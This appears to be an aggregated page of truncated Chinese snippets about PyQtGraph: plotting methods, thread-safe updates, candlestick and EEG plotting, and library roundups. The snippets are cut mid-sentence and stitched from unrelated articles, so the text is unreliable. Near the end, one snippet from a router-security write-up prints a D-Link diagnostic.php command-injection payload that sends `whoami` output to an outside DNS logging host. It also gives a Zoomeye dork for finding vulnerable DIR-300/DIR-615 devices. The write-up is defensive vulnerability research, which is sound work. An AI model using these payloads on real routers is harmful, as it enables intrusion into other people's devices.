PyQtGraph PyQtGraph是一个纯python的图形和GUI库，构建于PyQt4/PySide和numpy之上，它主要用于数学/科学/工程应用方面。 ?...大多数使用pyqtgraph数据可视化的应用程序都会生成可交互缩放，平移和使用鼠标配置的小部件。 ? 安装很简单 ?...绘图方法 在pyqtgraph中绘制数据有几种基本的方法： pyqtgraph.plot()：创建一个显示数据的新图形窗口 PlotWidget.plot()：将一组新数据添加到现有的绘图小部件 PlotItem.plot...()：将一组新数据添加到现有的绘图小部件 GraphicsLayout.addPlot()：在网格中添加一个新的图形 所有这些方法都接收相同的基本参数，这些参数控制如何绘制数据和显示图形： x - 可选的...实例 编辑器运行 import pyqtgraph.examples pyqtgraph.examples.run() 就会出现官方实例： ?
pyqtgraph官方给的示例居然会报错2333 官方文档传送门：#####pyqtgraph export ?...pyqtgraph支持在可视化窗口中右键保存（Exporting from the GUI）试了一下只能保存为svg格式， 保存为png会闪退不知道是我这里的原因还是这里有bug，我希望直接生成图片（Exporting...补充知识：pyqtgraph.GraphicsObject结构及用法 pyqtgraph.GraphicsObject官方文档 源文件 class pyqtgraph.GraphicsItem(register...在面向对象的概念中，我们知道所有的对象都是通过类来描绘的，但是反过来却不是这样。并不是所有的类都是用来描绘对象的，如果一个类中没有包含足够的信息来描绘一个具体的对象，这样的类就是抽象类。...抽象类往往用来表征我们在对问题领域进行分析、设计中得出的抽象概念，是对一系列看上去不同，但是本质上相同的具体概念的抽象。
在我们多线程编译并且使用PyQtGraph进行绘图时，我们需要确保所有的图形操作都在主线程中执行，主要是因为PyQtGraph是在主线程中创建的，并且不是线程安全的。...2、解决方案为了解决这个问题，可以采用以下解决方案：将绘图操作封装成一个函数，并将其放入一个队列中；创建多个工作线程，并让每个工作线程从队列中获取绘图任务，然后在主线程中执行绘图操作；通过信号和槽机制将工作线程和主线程连接起来...data = self.queue.get() # 在主线程中执行绘图操作 QtCore.QMetaObject.invokeMethod(curve, "...在 run() 方法中，我们从队列中获取绘图任务，然后在主线程中执行绘图操作。最后，我们创建了一个队列 queue 来存储绘图任务，并创建了多个工作线程来从队列中获取绘图任务并执行绘图操作。...最重要的需要注意的是，虽然数据生成过程是在工作线程中进行的，但数据传输和绘图更新操作都是在主线程中执行的，以确保PyQtGraph的线程安全性。如果有更多问题可以留言探讨。
错误 使用 easy_install pip命令就能解决，换一条重新能执行安装的命令 常用方法： ser = serial.Serial(0) 是打开第一个串口 print ser.portstr...再就是有一个小问题，因为正弦波有负值，我又没找到很好的把Byte转为char的方法，所以只能手动代码处理，先转成int类型，再把第八位（符号位）清零，得到绝对值。然后再取负，得到我们需要的数据。...库提供的轴项类AxisItem作为基类，在程序中创建一个自定义的轴项类，类中重定义函数tickStrings来实现横坐标刻度的的字符信息显示，代码如下： ?...代码简要说明如下： 1、第13-29行，以pyqtgraph库提供的AxisItem作为基类自定义了一个轴项类MyStringAxis，在类中重定义tickStrings函数，实现横坐标刻度的的字符信息显示...p时，也可以在参数中直接指定p处于的位置及行宽、列宽等信息，如将上面例子中第26、27行合并写为如下代码也是等价的。
1、pyqtgraph库数据可视化效果还不错，特别是窗体程序中图像交互性较好；安装也很方便，用 pip 安装。...2、在Python中新建一个 .py 文件，然后写入如下代码并执行可以得到官方提供的很多案例（含代码），出现如下界面图像： import pyqtgraph.examples pyqtgraph.examples.run...这次的任务是要写一个绘图的程序，wx模块就显得不太友好了，我就去网上找了一些资料，发现PyQtGraph画这种K线图、波形图等图形真是太简单了，更多的关于wx、qt等模块的细节学习可以看我后面的参考资料...，我这里就分享一下我本程序的心得，和对有些方法使用上自己的理解 项目开始 引用头文件 pyqt5_draw_1 这是主程序文件，负责主窗口图形化界面 import sys # 与PyQt5配合使用 from...plt.addLegend(size=(150, 80)) plt.showGrid(x=True, y=True, alpha=0.5) return plt def plt_show(num): # 传绘制的新图
2017年PyCon大会有一个演讲专门介绍了Python中的可视化库。...对于第二点，如果生产环境对效率要求较高，可以更换其他库，或者在批量生产时采用多进程的方式来加快处理。 作为Python中使用最广泛的可视化工具之一，matplotlib可以绘制大多数常见的图。...上述交互式可视化库主要应用在web端，或者嵌入到Jupyter notebook中。...如果生产环境中想要批量生产而且对速度有较高要求或者对图形渲染有特别需求，可以尝试一下其它绘图库，比如PyQtGraph。...PyQtGraph是基于PyQt4/PySide和numpy的纯Python图形和GUI库，主要应用于数学/科学/工程应用领域。 PyQtGraph支持2D/3D图形绘制，而且还提供了一些高级特征。
ggplot与python中的pandas有着共生关系。如果打算使用ggplot，最好将数据保存在DataFrames中。即若想使用ggplot，先将数据转化为dataframe形式。...basemap Basemap是一个用于在Python中绘制地图上的2D数据的库。...pyqtgraph pyqtgraph是Python平台上一种功能强大的2D/3D绘图库，相对于matplotlib库，由于内部实现方式上，使用了高速计算的numpy信号处理库以及Qt的GraphicsView...在使用pyqtgraph库绘制图形的编程方法上，前面一篇文章已经给了一个最简单的例子以及一个连续刷新波形图的例子，下面再给一个逐点刷新波形图的例子。...用于分析网络结构，建立网络模型，设计新的网络算法，绘制网络等等。 plotly Plotly Express 是一个新的高级 Python 可视化库。
大家好，又见面了，我是你们的朋友全栈君。 现如今大数据已人尽皆知，但在这个信息大爆炸的时代里，空有海量数据是无实际使用价值，更不要说帮助管理者进行业务决策。那么数据有什么价值呢？...http://www.pyqtgraph.org/ PyQtGraph是在PyQt4 / PySide和numpy上构建的纯 python的GUI图形库。...尽管PyQtGraph完全是在python中编写的，但它本身就是一个非常有能力的图形系统，可以进行大量的数据处理，数字运算；使用了Qt的GraphicsView框架优化和简化了工作流程，实现以最少的工作量完成数据可视化...安装 方法一 pip install PyQtGraph 方法二 点击下载安装 快速入门 import pyqtgraph as pg from pyqtgraph.Qt import QtGui, QtCore...如果你想做一些专业的统计图表，我推荐你使用Seaborn，Altair；数学，科学，工程领域的学者就选择PyQtGraph，VisPy，Mayavi2；网络研究和分析方面，NetworkX，python-igraph
对于刚刚解套的我来说，还是画画K线比较自在。 今天，我们将使用Python，在PyQt5中借助PyQtGtaph绘制一个带有十字光标的股票历史走势K线图。...接下来，我们创建一个K线图的图形绘制类，通过PyQt和PyQtGraph的绘图组件绘制K线图。...二、创建K线图绘制类 接着创建一个名为CandlestickItem()的类，其继承于pyqtgraph的GraphicsObject类。...的绘图方法中，就可以生成具体的K线图图形。...五、最后 这样我们就通过PyQt5和PyQtGraph实现了股票历史数据的查询和K线图的绘制。 大家有好的实现方法或是其他想法，欢迎留言讨论 ?分享、点赞、在看，给个三连击呗！?
这篇文章中包括的类别，我们认为这些类别考虑了通用的数据科学库，即那些可能被数据科学领域的从业人员用于广义的，非神经网络的，非研究性工作的库： 数据-用于数据管理，处理和其他处理的库 数学-虽然许多库都执行数学任务...，但这个小型库却专门这样做 机器学习-自我解释；不包括主要用于构建神经网络或用于自动化机器学习过程的库 自动化机器学习-主要用于自动执行与机器学习相关的过程的库 数据可视化-与建模，预处理等相反，主要提供与数据可视化相关的功能的库...（https://github.com/hyperopt/hyperopt-sklearn） star：1100，贡献：188，贡献者：18 Hyperopt-sklearn是scikit-learn中机器学习算法中基于...Nevergrad（https://github.com/facebookresearch/nevergrad） star：2700，贡献：663，贡献者：38 用于执行无梯度优化的Python工具箱...PyQtgraph（https://github.com/pyqtgraph/pyqtgraph） star：2200，贡献：2200，贡献者：142 用于科学/工程应用的快速数据可视化和GUI工具
点击上方蓝色字体，关注程序员zhenguo 你好，我是 zhenguo今天这篇文章不是项目，我的第十个项目还在整理中。今天我参考github，总结出一个极简但却包括了几乎所有Python的绘图包。...matplotlib - 二维绘图库 missingno - 提供灵活的数据可视化工具集，允许基于matplotlib快速直观地总结数据集的完整性 plotly - 基于plotly.js的交互式网络可视化 PyQtGraph
前文回顾222页PDF：《Python3网络爬虫数据采集》 社区的小伙伴们大家好，我是你们的新朋友山月。...今天给大家分享了一个我觉得很有趣的东西：图形用户界面（Graphical User Interface，简称 GUI）。 它有趣在哪里呢？...15 PyQtGraph 官网： https://pypi.org/project/pyqtgraph/ 概述： PyQtGraph是一个纯python图形和GUI库，构建于PyQt5/PySide2...Pyforms 官网： https://pyforms.readthedocs.io/en/v4/ 概述： Pyforms是一个Python 3框架，用于开发能够在桌面GUI、终端和Web三种不同环境中执行的应用程序
C语言的也有，但是是绘图不方便，就先拿Python写了，我直接接了一个串口来解析的数据，第一部分是电路焊接。...6. pyqtgraph模块用于完成数据的可视化显示。 这个程序的工作流程如下: 1. EEGThread线程启动,开始读取串口数据。 2....ShowThread线程启动,创建PyQtGraph窗口和两个plot。 4. ShowThread线程定期从上述3个列表读取最新数据,更新plot的显示。 5....PyQtGraph提供了比较简洁的API来完成数据可视化,相比matplotlib更适合这个实时显示的场景。...可视化的代码再第一个版本的时候写的就能显示一个通道的 我想要更多的通道，那么可以这样设计： 这样通过参数就可以让我弹性的获得脑电可视化的数据 这个类EEGPlot的功能是: 1.
想在市场上赚钱，必须同时具备两样能力： 研究：做出正确的能够获利的决策，也就是寻找Alpha的能力 交易：基于研究的结果和交易信号，执行相应的下单风控等操作，也就是将Alpha落实到你账户盈利上的能力...（ipython/spyder） 交易方面 主要分为两块： 执行交易：对于绝大部分量化策略，都在一定程度上需要自动/半自动的下单功能。...一些有特别需求的人也可以考虑开发在浏览器中显示的界面，比如经常想用手机远程监控。...GUI开发：PyQt，功能强大，文档也比较全；高性能的实时绘图：pyqtgraph，一些风控分析的图表可以用matplotlib（嵌入到PyQt中），生成的图表质量更高。...其他的语言总会有这样那样的短板： C++/C#/Java：适合写交易程序，不适合用来做策略开发 Matlab/R：适合做策略开发，但是在交易执行方面存在不少问题：速度、不稳定等等 Python：速度不如
对于气泡图，我个人觉得可以适当地加以运用，因为她能综合反应出 3 个重要的指标，在一些数据分析场景中，气泡图能有效地传递出重要的信息。...(8) 在进行数据可视化的过程中，应该时刻关注数据可视化的目标，记住这些图表设计的提示： 使用2D图表，不要使用三维立体效果 使用反映真实情况的刻度，避免造成误导 使用单一的 Y 轴，不要使用双轴图表...(六) 让图表「动」起来 数据图形化完成后，可结合实际情况，将其变为动态化和可操控性的图表，用户在操控过程中能更好地感知数据的变化过程，提升体验。实现动态化主要有两种方式：交互和动画。 4....比较常见的有： Matplotlib（强大、复杂） Seaborn（基于Matplotlib、简单） pyecharts（基于Echarts、炫酷） plotnine（移植于R的ggplot2、图形语法） PyQtGraph
作者：Sebao@知道创宇404实验室 前 言 前几天去上海参加了geekpwn，看着大神们一个个破解成功各种硬件，我只能在下面喊 6666，特别羡慕那些大神们。...opengl python-opengl python-qt4 python-qt4-gl python-numpy python-scipy python-pip $ sudo pip install pyqtgraph...参数 dst 没有任何过滤直接进入到了 ping的命令执行里，导致任意命令执行漏洞。继续往下看 $result = "OK"; 无论是否执行成功，这里都会显示OK。所以这是一个盲注的命令执行。...权限绕过漏洞 Zoomeye dork:DIR-300 or DIR-615 这里以 D-Link DIR-300固件为例，解开固件进入 suashfs-root/www 文件夹 默认情况下，Web界面中的所有页面都需要进行身份验证...总 结 可以发现此篇文章所提及的漏洞都是web领域的常见漏洞，如权限绕过，信息泄露，命令执行等漏洞。由于路由器的安全没有得到足够的重视，此文涉及到的漏洞都是因为对参数过滤不严格所导致的。
作者：Sebao@知道创宇404实验室 发表时间：2017年10月27日 前言 前几天去上海参加了geekpwn，看着大神们一个个破解成功各种硬件，我只能在下面喊 6666，特别羡慕那些大神们。...opengl python-opengl python-qt4 python-qt4-gl python-numpy python-scipy python-pip $ sudo pip install pyqtgraph...参数dst 没有任何过滤直接进入到了 ping的命令执行里，导致任意命令执行漏洞。继续往下看 $result = "OK";无论是否执行成功，这里都会显示OK。所以这是一个盲注的命令执行。...payload url = 'localhost/diagnostic.php' data = "act=ping&dst=%26 ping `whoami`.ceye.io%26" 因为是盲注的命令执行...权限绕过漏洞 Zoomeye dork:DIR-300 or DIR-615 这里以 D-Link DIR-300固件为例，解开固件进入 suashfs-root/www 文件夹 默认情况下，Web界面中的所有页面都需要进行身份验证
服务 ROS提供标准的操作系统服务例如硬件抽象、底层设备控制、常用功能实现、进程间消息传递、软件包管理。...ROS基于一种图状架构，从而不同节点的进程能接受，发布，聚合各种信息(例如传感，控制，状态，规划等等)。...但是，某些特殊情况下，你会需要进程之间的同步请求/响应。ROS 使用“服务”，提供这种功能。和另外一个功能“主题”类似，数据在进程之间通过服务调用传输。服务调用在同样简单的消息接口描述语言中定义。...你也可以通过编写自己的rqt插件，你引入新的接口。 rqt_graph 插件，提供了ROS系统的内省和可视化，展示他们之间的结点和连接，让你可以便于调试和理解运行系统及其组成。...rqt_plot插件让你可以选择绘图后端(例如matplotlib、Qwt、 pyqtgraph)，以最好地满足需求。 rqt_topic 和 rqt_publisher 插件，可用于主题和监测。
库/函数 描述 推荐度 frozenset([iterable]) [Python内置函数]返回一个新的frozenset对象，可选择从iterable取得的元素 ★★★ int(x) [Python内置函数...返回表示由范围（start、stop、step）指定的索引集的切片对象 ★★ sorted(iterable[, cmp[, key[, reverse]]]) [Python内置函数]从iterable的项中返回一个新的排序列表...该模块为各种分布实现伪随机数生成器，支持数据均匀分布、正态（高斯）分布、对数正态分布、负指数分布、伽马和β分布等 ★★★ os [Python标准库]用于新建、删除、权限修改、切换路径等目录操作，以及调用执行系统命令...直方图、热图、子图、多轴、极坐标图、气泡图、玫瑰图、热力图、漏斗图等众多图形 ★★★ VisPy [第三方库] VisPy是用于交互式科学可视化的Python库，旨在实现快速，可扩展和易于使用 ★★ PyQtGraph...[第三方库] PyQtGraph是一个建立在PyQt4 / PySide和numpy之上的纯Python图形和GUI库，主要用于数学/科学/工程应用 ★★ ggplot [第三方库] ggplot是用
step）指定的索引集的切片对象 推荐度： ★★ 55. sorted(iterable[, cmp[, key[, reverse]]]) 类型：Python内置函数 描述： 从iterable的项中返回一个新的排序列表...，支持数据均匀分布、正态（高斯）分布、对数正态分布、负指数分布、伽马和β分布等 推荐度： ★★★ 60. os 类型：Python标准库 描述： 用于新建、删除、权限修改、切换路径等目录操作，以及调用执行系统命令...Pandas提供用于进行结构化数据分析的二维的表格型数据结构DataFrame，类似于R中的数据框，能提供类似于数据库中的切片、切块、聚合、选择子集等精细化操作，为数据分析提供了便捷 推荐度： ★★★...PIL仅支持到2.7版本且已经很久没有更新，一群志愿者基于PIL发布了新的分支Pillow。Pillow同时支持Python2和Python3并且加入很多新的功能 推荐度： ★★ 89....PyQtGraph 类型： 第三方库 描述： PyQtGraph是一个建立在PyQt4 / PySide和numpy之上的纯Python图形和GUI库，主要用于数学/科学/工程应用 推荐度： ★★ 124
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